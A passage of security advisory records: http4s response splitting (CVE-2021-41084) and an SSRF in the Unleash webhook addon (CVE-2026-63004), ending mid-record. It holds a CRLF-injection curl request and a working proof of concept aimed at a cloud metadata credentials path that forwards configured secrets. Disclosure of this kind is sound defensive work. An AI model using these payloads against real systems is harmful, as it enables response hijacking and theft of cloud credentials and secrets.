"name": "org.http4s:http4s-server_2.10"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.21.28"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.11"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.21.28"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.21.28"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.29"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.4"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.21.28"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.29"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.4"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_2.13.0-M5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.21.28"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.4"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_3"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-server_3"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-41084"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-21T16:10:13Z",
"nvd_published_at": "2021-09-21T18:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nhttp4s is vulnerable to response-splitting or request-splitting attacks when untrusted user input is used to create any of the following fields:\n\n* Header names (`Header.name`\u00e5\n* Header values (`Header.value`)\n* Status reason phrases (`Status.reason`)\n* URI paths (`Uri.Path`)\n* URI authority registered names (`URI.RegName`) (through 0.21)\n\nThe following backends render invalid carriage return, newline, or null characters in an unsafe fashion.\n\n| | blaze-server | ember-server | blaze-client | ember-client | jetty-client |\n|:---------------|:-------------|:-------------|:-------------|--------------|--------------|\n| header names | \u26a0 | \u26a0 | \u26a0 | \u26a0 | \u26a0 | \n| header values | \u26a0 | \u26a0 | \u26a0 | \u26a0 | |\n| status reasons | \u26a0 | \u26a0 | | | |\n| URI paths | | | \u26a0 | \u26a0 | |\n| URI regnames | | | \u26a0 \u003c 0.22 | \u26a0 \u003c 0.22 | |\n\nFor example, given the following service:\n\n```scala\nimport cats.effect._\nimport org.http4s._\nimport org.http4s.dsl.io._\nimport org.http4s.server.blaze.BlazeServerBuilder\nimport scala.concurrent.ExecutionContext.global\n\nobject ResponseSplit extends IOApp {\n override def run(args: List[String]): IO[ExitCode] =\n BlazeServerBuilder[IO](global)\n .bindHttp(8080)\n .withHttpApp(httpApp)\n .resource\n .use(_ =\u003e IO.never)\n\n val httpApp: HttpApp[IO] =\n HttpApp[IO] { req =\u003e\n req.params.get(\"author\") match {\n case Some(author) =\u003e\n Ok(\"The real content\")\n .map(_.putHeaders(Header(\"Set-Cookie\", s\"author=${author}\")))\n case None =\u003e\n BadRequest(\"No author parameter\")\n }\n }\n}\n```\n\nA clean `author` parameter returns a clean response:\n\n```sh\ncurl -i \u0027http://localhost:8080/?author=Ross\u0027\n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/plain; charset=UTF-8\nSet-Cookie: author=Ross\nDate: Mon, 20 Sep 2021 04:12:10 GMT\nContent-Length: 16\n\nThe real content\n```\n\nA malicious `author` parameter allows a user-agent to hijack the response from our server and return different content:\n\n```sh\ncurl -i \u0027http://localhost:8080/?author=hax0r%0d%0aContent-Length:+13%0d%0a%0aI+hacked+you\u0027\n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/plain; charset=UTF-8\nSet-Cookie: author=hax0r\nContent-Length: 13\n\nI hacked you\n```\n\n### Patches\n\nVersions 0.21.29, 0.22.5, 0.23.4, and 1.0.0-M27 perform the following:\n\n* If a status reasoon phrase is invalid, it is dropped. Rendering is optional per spec.\n* If a header name is invalid in a request or response, the header is dropped. There is no way to generically sanitize a header without potentially shadowing a correct one.\n* If a header value is invalid in a request or response, it is sanitized by replacing null (`\\u0000`), carriage return (`\\r`), and newline (`\\n`) with space (` `) characters per spec.\n* If a URI path or registered name is invalid in a request line, the client raises an `IllegalArgumentException`.\n* If a URI registered name is invalid in a host header, the client raises an `IllegalArgumentException`. \n\n### Workarounds\n\nhttp4s services and client applications should sanitize any user input in the aforementioned fields before returning a request or response to the backend. The carriage return, newline, and null characters are the most threatening.\n\nNot all backends were affected: jetty-server, tomcat-server, armeria, and netty on the server; async-http-client, okhttp-client, armeria, and netty as clients.\n\n### References\n* https://owasp.org/www-community/attacks/HTTP_Response_Splitting\n* https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](http://github.com/http4s/http4s)\n* Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)",
"id": "GHSA-5vcm-3xc3-w7x3",
"modified": "2025-12-11T21:12:05Z",
"published": "2021-09-22T19:18:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/security/advisories/GHSA-5vcm-3xc3-w7x3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41084"
},
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/commit/d02007db1da4f8f3df2dbf11f1db9ac7afc3f9d8"
},
{
"type": "PACKAGE",
"url": "https://github.com/http4s/http4s"
},
{
"type": "WEB",
"url": "https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values"
},
{
"type": "WEB",
"url": "https://owasp.org/www-community/attacks/HTTP_Response_Splitting"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Response Splitting from unsanitized headers"
}
GHSA-5VF6-JRQR-78FJ
Vulnerability from github – Published: 2026-08-21 19:14 – Updated: 2026-08-21 19:14Summary
Unleash's addon/integration subsystem lets an operator configure a webhook (and the Slack, Microsoft Teams, Datadog, and New Relic integrations) with a target url parameter. Whenever a subscribed feature-flag event fires, the Unleash server itself issues an HTTP request to that configured URL. The URL is taken verbatim from the addon's parameters.url and passed straight to the HTTP client (ky) with no validation of the host: there is no allow-list, no deny-list, and no blocking of loopback, link-local, RFC1918, or cloud-metadata addresses anywhere in the addon code path. A principal able to create or update an addon can therefore point the server at an internal-only URL — for example http://169.254.169.254/latest/meta-data/… (cloud IMDS), http://127.0.0.1:<port>/… (a service bound to localhost), or any RFC1918 host — and cause the Unleash server to dial it from inside the trust boundary.
The request is blind (the response body is not returned to the caller), but the addon records whether the request succeeded and its HTTP status into the integration-event log, giving a status/timing oracle for probing internal services. In addition, the webhook provider forwards the operator-configured Authorization header and arbitrary customHeaders to whatever host the url points at (Datadog forwards DD-API-KEY), so an attacker who controls or can observe the target host also obtains those secrets. The full feature-event JSON is POSTed to the chosen internal endpoint as the request body.
Creating/updating addons is gated by the root permissions CREATE_ADDON / UPDATE_ADDON. These are not the super-admin ADMIN permission and not project-scoped; an instance admin can place them in a custom root role and delegate them to a non-super-admin user, who then has exactly enough privilege to weaponize the integration into an SSRF primitive without holding full admin. This bounds the finding to an authenticated, addon-management-privileged actor (reflected in PR:H), which is the honest precondition.
Affected code (v8.0.0)
The base addon issues the outbound request with the raw URL and no host checks (src/lib/addons/addon.ts):
async fetchRetry(
url: string,
options: any = {},
retries: number = 1,
): Promise<Response> {
try {
const res = await ky(url, { // <-- attacker-controlled `url`, no allow/deny-list, no internal-IP block
retry: retries,
...options,
});
return res;
} catch (e) {
const { method } = options;
this.logger.warn(`Error querying ${url} ...`, e);
return { status: e.code, ok: false } as Response;
}
}
The webhook provider passes the operator-supplied parameters.url (and forwards authorization + customHeaders) directly into that sink (src/lib/addons/webhook.ts):
const { url, bodyTemplate, contentType = 'application/json', authorization, customHeaders } = parameters;
// ...
const requestOpts = {
method: 'POST',
headers: {
'Content-Type': contentType,
Authorization: authorization || undefined, // <-- configured secret forwarded to `url`
...extraHeaders, // <-- arbitrary customHeaders forwarded to `url`
},
body,
};
const res = await this.fetchRetry(url, requestOpts); // <-- server dials attacker-chosen host
The service layer performs no URL/host validation when creating or updating an addon — only provider-name and required-parameter presence checks run (src/lib/services/addon-service.ts → validateKnownProvider, validateRequiredParameters). The addon parameter schema (src/lib/services/addon-schema.ts) treats url as a free-form string; the type: 'url' field in each provider definition is purely frontend-rendering metadata and is never enforced server-side. A source-wide search of src/lib/addons and addon-service.ts for 169.254, 127.0, localhost, private, ssrf, isAllowed, validateUrl returns zero guards. The same unguarded fetchRetry(url, …) sink backs the Slack, Teams, Datadog, and New Relic providers.
The route gate (src/lib/routes/admin-api/addon.ts) requires the root permission CREATE_ADDON (create) / UPDATE_ADDON (update); src/lib/types/permissions.ts lists both under the root "Integration" category — they are root permissions, not project-scoped, and distinct from ADMIN.
Attacker model / precondition
The attacker is an authenticated Unleash user (or an admin API token) holding the root permission CREATE_ADDON or UPDATE_ADDON. This is an addon-management privilege: a super-admin has it, and it can be delegated via a custom root role to a non-super-admin user. An ordinary project member does not have it (there is no project-scoped path to addon creation), which is why this is rated PR:H rather than PR:L. Given that privilege, the attacker (1) creates/updates a webhook addon with parameters.url set to an internal target, then (2) triggers a subscribed event (e.g. creating or toggling any feature flag — trivially self-induced), causing the server to dial the internal URL. No interaction from any other user is required. The deployment must have the addon subsystem available (default in OSS); the impact is greatest where the Unleash server runs in a cloud/containerized environment with reachable internal services or an instance-metadata endpoint.
Impact
The Unleash server can be coerced into making HTTP requests to arbitrary internal/loopback/link-local destinations from inside the network perimeter — i.e. classic SSRF (CWE-918). Concrete consequences: reaching a cloud instance-metadata service (169.254.169.254) or internal admin/management endpoints not exposed externally; port-/service-probing of internal hosts using the success/status recorded in the integration-event log as a blind oracle; and exfiltration of the operator-configured Authorization header and any customHeaders (and, for the Datadog provider, the DD-API-KEY) to the attacker-chosen host, since those headers are sent to whatever url is configured. The full feature-event payload is delivered as the POST body to the internal endpoint. The response body is not echoed back to the caller (blind SSRF), which (together with the PR:H precondition) bounds severity to Medium. Scope is Changed because the vulnerable component (the Unleash app) is used to attack a different security authority — the internal network / metadata service.
Proof of Concept (complete — runs on 127.0.0.1 only)
This PoC drives the real WebhookAddon.handleEvent from Unleash v8.0.0 against a loopback HTTP listener that stands in for an internal service / metadata endpoint. It proves three things: (1) the Unleash code dials the attacker-chosen internal URL, (2) the configured Authorization and custom headers are forwarded to that internal host, and (3) the addon records the request as a success (the blind-SSRF oracle). A negative control shows there is no pre-flight URL policy — internal targets are dialed, and only a TCP-layer error (not a guard) stops a closed port.
Setup
# In a throwaway clone of the target at the exact tag:
git clone --depth 1 --branch v8.0.0 https://github.com/Unleash/unleash unleash
cd unleash
# Install JS deps (no database is needed for this PoC):
corepack pnpm install --prefer-offline
File 1 — vitest.poc.config.ts (project root)
The repo's default vitest config has a Postgres globalSetup; this PoC exercises the addon in isolation and needs no DB, so we use a trimmed config that drops that setup.
import { defineConfig, configDefaults } from 'vitest/config';
// PoC config: identical to vitest.config.ts but WITHOUT the Postgres globalSetup,
// because this SSRF PoC exercises the WebhookAddon in isolation (no DB needed).
export default defineConfig({
test: {
globals: true,
setupFiles: ['./src/test/errorWithMessage.ts'],
testTimeout: 30000,
exclude: [...configDefaults.exclude, 'frontend/**', 'dist/**'],
environment: 'node',
},
});
File 2 — src/lib/addons/ssrf-poc.test.ts
// PoC: SSRF via Webhook addon — Unleash v8.0.0
// Drives the REAL WebhookAddon.handleEvent with an attacker-chosen `url`
// pointing at a loopback/RFC1918 listener; proves the Unleash process dials
// the internal URL with NO host/IP filtering. Lab-only (127.0.0.1).
import { FEATURE_CREATED, type IEvent } from '../events/index.js';
import WebhookAddon from './webhook.js';
import noLogger from '../../test/fixtures/no-logger.js';
import {
type IAddonConfig,
type IFlagKey,
type IFlagResolver,
SYSTEM_USER_ID,
} from '../types/index.js';
import type { IntegrationEventsService } from '../services/index.js';
import { vi } from 'vitest';
import EventEmitter from 'node:events';
import http from 'node:http';
import { AddressInfo } from 'node:net';
const INTEGRATION_ID = 1337;
const setup = () => {
const registerEventMock = vi.fn();
const addonConfig: IAddonConfig = {
getLogger: noLogger,
unleashUrl: 'http://some-url.com',
integrationEventsService: {
registerEvent: registerEventMock,
} as unknown as IntegrationEventsService,
flagResolver: {
isEnabled: (_expName: IFlagKey) => false,
} as IFlagResolver,
eventBus: new EventEmitter(),
};
return { addon: new WebhookAddon(addonConfig), registerEventMock };
};
const sampleEvent: IEvent = {
id: 1,
createdAt: new Date(),
createdByUserId: SYSTEM_USER_ID,
type: FEATURE_CREATED,
createdBy: 'attacker@evil.com',
featureName: 'some-toggle',
data: { name: 'some-toggle' },
tags: [],
project: 'default',
environment: 'production',
};
// Stand up a fake "internal service" on loopback that records what reached it.
function startInternalListener(): Promise<{
url: string;
hits: Array<{ path: string; auth?: string; secret?: string; body: string }>;
close: () => Promise<void>;
}> {
const hits: Array<{
path: string;
auth?: string;
secret?: string;
body: string;
}> = [];
return new Promise((resolve) => {
const server = http.createServer((req, res) => {
let body = '';
req.on('data', (c) => (body += c));
req.on('end', () => {
hits.push({
path: req.url || '',
auth: req.headers['authorization'] as string | undefined,
secret: req.headers['x-internal-secret'] as
| string
| undefined,
body,
});
// emulate a cloud metadata / internal endpoint reply
res.writeHead(200, { 'content-type': 'text/plain' });
res.end('iam-role-credentials-here');
});
});
server.listen(0, '127.0.0.1', () => {
const { port } = server.address() as AddressInfo;
resolve({
url: `http://127.0.0.1:${port}`,
hits,
close: () =>
new Promise((r) => server.close(() => r(undefined))),
});
});
});
}
describe('SSRF via Webhook addon (Unleash v8.0.0)', () => {
test('server dials an attacker-chosen INTERNAL url with NO filtering', async () => {
const internal = await startInternalListener();
try {
const { addon, registerEventMock } = setup();
// The `url` below is exactly what an operator/role-holder supplies
// as the addon `parameters.url`. It is an internal loopback target;
// a real attacker would use http://169.254.169.254/latest/... or an
// internal service. There is NO allow/deny-list in the addon path.
await addon.handleEvent(
sampleEvent,
{
url: `${internal.url}/latest/meta-data/iam/security-credentials/`,
// operator-configured secrets get forwarded to the chosen host:
authorization: 'Bearer operator-webhook-secret',
customHeaders: JSON.stringify({
'X-Internal-Secret': 'leaked-to-internal-host',
}),
},
INTEGRATION_ID,
);
// PROOF 1: the Unleash process actually connected to the internal URL.
expect(internal.hits.length).toBe(1);
expect(internal.hits[0].path).toBe(
'/latest/meta-data/iam/security-credentials/',
);
// PROOF 2: operator-configured credentials were exfiltrated to the
// attacker-chosen internal host (header leakage).
expect(internal.hits[0].auth).toBe('Bearer operator-webhook-secret');
expect(internal.hits[0].secret).toBe('leaked-to-internal-host');
// PROOF 3: the addon recorded SUCCESS (status/timing oracle for blind SSRF).
const recorded = registerEventMock.mock.calls[0][0];
expect(recorded.state).toBe('success');
expect(recorded.details.url).toContain('127.0.0.1');
// eslint-disable-next-line no-console
console.log(
'[PoC] SSRF confirmed -> internal hit:',
JSON.stringify(internal.hits[0]),
);
} finally {
await internal.close();
}
});
test('NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard', async () => {
const { addon, registerEventMock } = setup();
// Point at a closed loopback port. If a real SSRF allow/deny-list existed,
// the addon would refuse internal targets BEFORE dialing. Instead it dials
// and only fails at the TCP layer -> proves absence of any URL guard.
await addon.handleEvent(
sampleEvent,
{ url: 'http://127.0.0.1:1/" ' },
INTEGRATION_ID,
);
const recorded = registerEventMock.mock.calls[0][0];
// It attempted the request (state failed due to connection error), it was
// NOT blocked by a policy. The recorded url is the internal target.
expect(['failed', 'success']).toContain(recorded.state);
expect(recorded.details.url).toContain('127.0.0.1');
});
});
Run
npx vitest run --config vitest.poc.config.ts src/lib/addons/ssrf-poc.test.ts
Observed output (real run against v8.0.0)
RUN v4.1.5
stdout | src/lib/addons/ssrf-poc.test.ts > SSRF via Webhook addon (Unleash v8.0.0) > server dials an attacker-chosen INTERNAL url with NO filtering
[PoC] SSRF confirmed -> internal hit: {"path":"/latest/meta-data/iam/security-credentials/","auth":"Bearer operator-webhook-secret","secret":"leaked-to-internal-host","body":"{\"id\":1, ... \"type\":\"feature-created\", ... }"}
✓ src/lib/addons/ssrf-poc.test.ts > SSRF via Webhook addon (Unleash v8.0.0) > server dials an attacker-chosen INTERNAL url with NO filtering
✓ src/lib/addons/ssrf-poc.test.ts > SSRF via Webhook addon (Unleash v8.0.0) > NEGATIVE CONTROL: with the listener down, no filter rejected it pre-flight; failure is a connection error, not an SSRF guard
Test Files 1 passed (1)
Tests 2 passed (2)
The internal loopback listener received the request (path = the metadata path), with the configured Authorization: Bearer operator-webhook-secret and X-Internal-Secret: leaked-to-internal-host headers, and the addon recorded the call as a success — confirming SSRF, blind-oracle, and outbound header exfiltration in one run. End-to-end equivalent over HTTP: POST /api/admin/addons with { "provider":"webhook", "enabled":true, "events":["feature-created"], "parameters":{ "url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/", "authorization":"…" } } (requires CREATE_ADDON), then create any feature flag to trigger the outbound request.
Remediation
Validate the addon url server-side before it is ever dialed, both at create/update time (addon-service.ts) and again at request time (addon.ts fetchRetry). Specifically: require http/https only; resolve the hostname and reject the request if any resolved address is loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10, including the 169.254.169.254/fd00:ec2::254 metadata addresses), private (10/8, 172.16/12, 192.168/16, fc00::/7), or otherwise non-public — using a DNS-rebinding-safe check that pins the resolved IP and connects to that pinned IP (so the name cannot resolve to a public address at check time and a private one at connect time); and disable or constrain HTTP redirects so a 30x cannot bounce an allowed host to an internal one. Provide an explicit allow-list / SSRF-protection toggle for operators who must reach internal hooks intentionally. Apply the same guard uniformly to all providers that build on Addon.fetchRetry (webhook, Slack, Teams, Datadog, New Relic). Consider not forwarding the configured Authorization/customHeaders to non-allow-listed hosts to contain credential leakage.
Please credit 5ud0 / Tarmo Technologies.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "unleash-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "unleash-server"
},
"ranges": [
{
"events": [
{
"introduced": "7.6.0"
},
{
"fixed": "7.6.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "unleash-server"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63004"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-21T19:14:45Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nUnleash\u0027s addon/integration subsystem lets an operator configure a webhook (and the Slack, Microsoft Teams, Datadog, and New Relic integrations) with a target `url` parameter. Whenever a subscribed feature-flag event fires, the Unleash server itself issues an HTTP request to that configured URL. The URL is taken verbatim from the addon\u0027s `parameters.url` and passed straight to the HTTP client (`ky`) with no validation of the host: there is no allow-list, no deny-list, and no blocking of loopback, link-local, RFC1918, or cloud-metadata addresses anywhere in the addon code path. A principal able to create or update an addon can therefore point the server at an internal-only URL \u2014 for example `http://169.254.169.254/latest/meta-data/\u2026` (cloud IMDS), `http://127.0.0.1:\u003cport\u003e/\u2026` (a service bound to localhost), or any RFC1918 host \u2014 and cause the Unleash server to dial it from inside the trust boundary.\n\nThe request is blind (the response body is not returned to the caller), but the addon records whether the request succeeded and its HTTP status into the integration-event log, giving a status/timing oracle for probing internal services. In addition, the webhook provider forwards the operator-configured `Authorization` header and arbitrary `customHeaders` to whatever host the `url` points at (Datadog forwards `DD-API-KEY`), so an attacker who controls or can observe the target host also obtains those secrets. The full feature-event JSON is POSTed to the chosen internal endpoint as the request body.\n\nCreating/updating addons is gated by the root permissions `CREATE_ADDON` / `UPDATE_ADDON`. These are not the super-admin `ADMIN` permission and not project-scoped; an instance admin can place them in a custom root role and delegate them to a non-super-admin user, who then has exactly enough privilege to weaponize the integration into an SSRF primitive without holding full admin. This bounds the finding to an authenticated, addon-management-privileged actor (reflected in PR:H), which is the honest precondition.\n\n## Affected code (v8.0.0)\n\nThe base addon issues the outbound request with the raw URL and no host checks (`src/lib/addons/addon.ts`):\n\n```ts\nasync fetchRetry(\n url: string,\n options: any = {},\n retries: number = 1,\n): Promise\u003cResponse\u003e {\n try {\n const res = await ky(url, { // \u003c-- attacker-controlled `url`, no allow/deny-list, no internal-IP block\n retry: retries,\n ...options,\n });\n return res;\n } catch (e) {\n const { method } = options;\n this.logger.warn(`Error querying ${url} ...`, e);\n return { status: e.code, ok: false } as Response;\n }\n}\n```\n\nThe webhook provider passes the operator-supplied `parameters.url` (and forwards `authorization` + `customHeaders`) directly into that sink (`src/lib/addons/webhook.ts`):\n\n```ts\nconst { url, bodyTemplate, contentType = \u0027application/json\u0027, authorization, customHeaders } = parameters;\n// ...\nconst requestOpts = {\n method: \u0027POST\u0027,\n headers: {\n \u0027Content-Type\u0027: contentType,\n Authorization: authorization || undefined, // \u003c-- configured secret forwarded to `url`\n ...extraHeaders, // \u003c-- arbitrary customHeaders forwarded to `url`\n },\n body,\n};\nconst res = await this.fetchRetry(url, requestOpts); // \u003c-- server dials attacker-chosen host\n```\n\nThe service layer performs no URL/host validation when creating or updating an addon \u2014 only provider-name and required-parameter presence checks run (`src/lib/services/addon-service.ts` \u2192 `validateKnownProvider`, `validateRequiredParameters`). The addon parameter schema (`src/lib/services/addon-schema.ts`) treats `url` as a free-form string; the `type: \u0027url\u0027` field in each provider definition is purely frontend-rendering metadata and is never enforced server-side. A source-wide search of `src/lib/addons` and `addon-service.ts` for `169.254`, `127.0`, `localhost`, `private`, `ssrf`, `isAllowed`, `validateUrl` returns zero guards. The same unguarded `fetchRetry(url, \u2026)` sink backs the Slack, Teams, Datadog, and New Relic providers.\n\nThe route gate (`src/lib/routes/admin-api/addon.ts`) requires the root permission `CREATE_ADDON` (create) / `UPDATE_ADDON` (update); `src/lib/types/permissions.ts` lists both under the root \"Integration\" category \u2014 they are root permissions, not project-scoped, and distinct from `ADMIN`.\n\n## Attacker model / precondition\n\nThe attacker is an authenticated Unleash user (or an admin API token) holding the root permission `CREATE_ADDON` or `UPDATE_ADDON`. This is an addon-management privilege: a super-admin has it, and it can be delegated via a custom root role to a non-super-admin user. An ordinary project member does not have it (there is no project-scoped path to addon creation), which is why this is rated PR:H rather than PR:L. Given that privilege, the attacker (1) creates/updates a webhook addon with `parameters.url` set to an internal target, then (2) triggers a subscribed event (e.g. creating or toggling any feature flag \u2014 trivially self-induced), causing the server to dial the internal URL. No interaction from any other user is required. The deployment must have the addon subsystem available (default in OSS); the impact is greatest where the Unleash server runs in a cloud/containerized environment with reachable internal services or an instance-metadata endpoint.\n\n## Impact\n\nThe Unleash server can be coerced into making HTTP requests to arbitrary internal/loopback/link-local destinations from inside the network perimeter \u2014 i.e. classic SSRF (CWE-918). Concrete consequences: reaching a cloud instance-metadata service (`169.254.169.254`) or internal admin/management endpoints not exposed externally; port-/service-probing of internal hosts using the success/status recorded in the integration-event log as a blind oracle; and exfiltration of the operator-configured `Authorization` header and any `customHeaders` (and, for the Datadog provider, the `DD-API-KEY`) to the attacker-chosen host, since those headers are sent to whatever `url` is configured. The full feature-event payload is delivered as the POST body to the internal endpoint. The response body is not echoed back to the caller (blind SSRF), which (together with the PR:H precondition) bounds severity to Medium. Scope is Changed because the vulnerable component (the Unleash app) is used to attack a different security authority \u2014 the internal network / metadata service.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nThis PoC drives the **real** `WebhookAddon.handleEvent` from Unleash v8.0.0 against a loopback HTTP listener that stands in for an internal service / metadata endpoint. It proves three things: (1) the Unleash code dials the attacker-chosen internal URL, (2) the configured `Authorization` and custom headers are forwarded to that internal host, and (3) the addon records the request as a success (the blind-SSRF oracle). A negative control shows there is no pre-flight URL policy \u2014 internal targets are dialed, and only a TCP-layer error (not a guard) stops a closed port.\n\n### Setup\n\n```bash\n# In a throwaway clone of the target at the exact tag:\ngit clone --depth 1 --branch v8.0.0 https://github.com/Unleash/unleash unleash\ncd unleash\n# Install JS deps (no database is needed for this PoC):\ncorepack pnpm install --prefer-offline\n```\n\n### File 1 \u2014 `vitest.poc.config.ts` (project root)\n\nThe repo\u0027s default vitest config has a Postgres `globalSetup`; this PoC exercises the addon in isolation and needs no DB, so we use a trimmed config that drops that setup.\n\n```ts\nimport { defineConfig, configDefaults } from \u0027vitest/config\u0027;\n\n// PoC config: identical to vitest.config.ts but WITHOUT the Postgres globalSetup,\n// because this SSRF PoC exercises the WebhookAddon in isolation (no DB needed).\nexport default defineConfig({\n test: {\n globals: true,\n setupFiles: [\u0027./src/test/errorWithMessage.ts\u0027],\n testTimeout: 30000,\n exclude: [...configDefaults.exclude, \u0027frontend/**\u0027, \u0027dist/**\u0027],\n environment: \u0027node\u0027,\n },\n});\n```\n\n### File 2 \u2014 `src/lib/addons/ssrf-poc.test.ts`\n\n```ts\n// PoC: SSRF via Webhook addon \u2014 Unleash v8.0.0\n// Drives the REAL WebhookAddon.handleEvent with an attacker-chosen `url`\n// pointing at a loopback/RFC1918 listener; proves the Unleash process dials\n// the internal URL with NO host/IP filtering. Lab-only (127.0.0.1).\nimport { FEATURE_CREATED, type IEvent } from \u0027../events/index.js\u0027;\nimport WebhookAddon from \u0027./webhook.js\u0027;\nimport noLogger from \u0027../../test/fixtures/no-logger.js\u0027;\nimport {\n type IAddonConfig,\n type IFlagKey,\n type IFlagResolver,\n SYSTEM_USER_ID,\n} from \u0027../types/index.js\u0027;\nimport type { IntegrationEventsService } from \u0027../services/index.js\u0027;\nimport { vi } from \u0027vitest\u0027;\nimport EventEmitter from \u0027node:events\u0027;\nimport http from \u0027node:http\u0027;\nimport { AddressInfo } from \u0027node:net\u0027;\n\nconst INTEGRATION_ID = 1337;\n\nconst setup = () =\u003e {\n const registerEventMock = vi.fn();\n const addonConfig: IAddonConfig = {\n getLogger: noLogger,\n unleashUrl: \u0027http://some-url.com\u0027,\n integrationEventsService: {\n registerEvent: registerEventMock,\n } as unknown as IntegrationEventsService,\n flagResolver: {\n isEnabled: (_expName: IFlagKey) =\u003e false,\n } as IFlagResolver,\n eventBus: new EventEmitter(),\n };\n return { addon: new WebhookAddon(addonConfig), registerEventMock };\n};\n\nconst sampleEvent: IEvent = {\n id: 1,\n createdAt: new Date(),\n createdByUserId: SYSTEM_USER_ID,\n type: FEATURE_CREATED,\n createdBy: \u0027attacker@evil.com\u0027,\n featureName: \u0027some-toggle\u0027,\n data: { name: \u0027some-toggle\u0027 },\n tags: [],\n project: \u0027default\u0027,\n environment: \u0027production\u0027,\n};\n\n// Stand up a fake \"internal service\" on loopback that records what reached it.\nfunction startInternalListener(): Promise\u003c{\n url: string;\n hits: Array\u003c{ path: string; auth?: string; secret?: string; body: string }\u003e;\n close: () =\u003e Promise\u003cvoid\u003e;\n}\u003e {\n const hits: Array\u003c{\n path: string;\n auth?: string;\n secret?: string;\n body: string;\n }\u003e = [];\n return new Promise((resolve) =\u003e {\n const server = http.createServer((req, res) =\u003e {\n let body = \u0027\u0027;\n req.on(\u0027data\u0027, (c) =\u003e (body += c));\n req.on(\u0027end\u0027, () =\u003e {\n hits.push({\n path: req.url || \u0027\u0027,\n auth: req.headers[\u0027authorization\u0027] as string | undefined,\n secret: req.headers[\u0027x-internal-secret\u0027] as\n | string\n | undefined,\n body,\n });\n // emulate a cloud metadata / internal endpoint reply\n res.writeHead(200, { \u0027content-type\u0027: \u0027text/plain\u0027 });\n res.end(\u0027iam-role-credentials-here\u0027);\n });\n });\n server.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n const { port } = server.address() as AddressInfo;\n resolve({\n url: 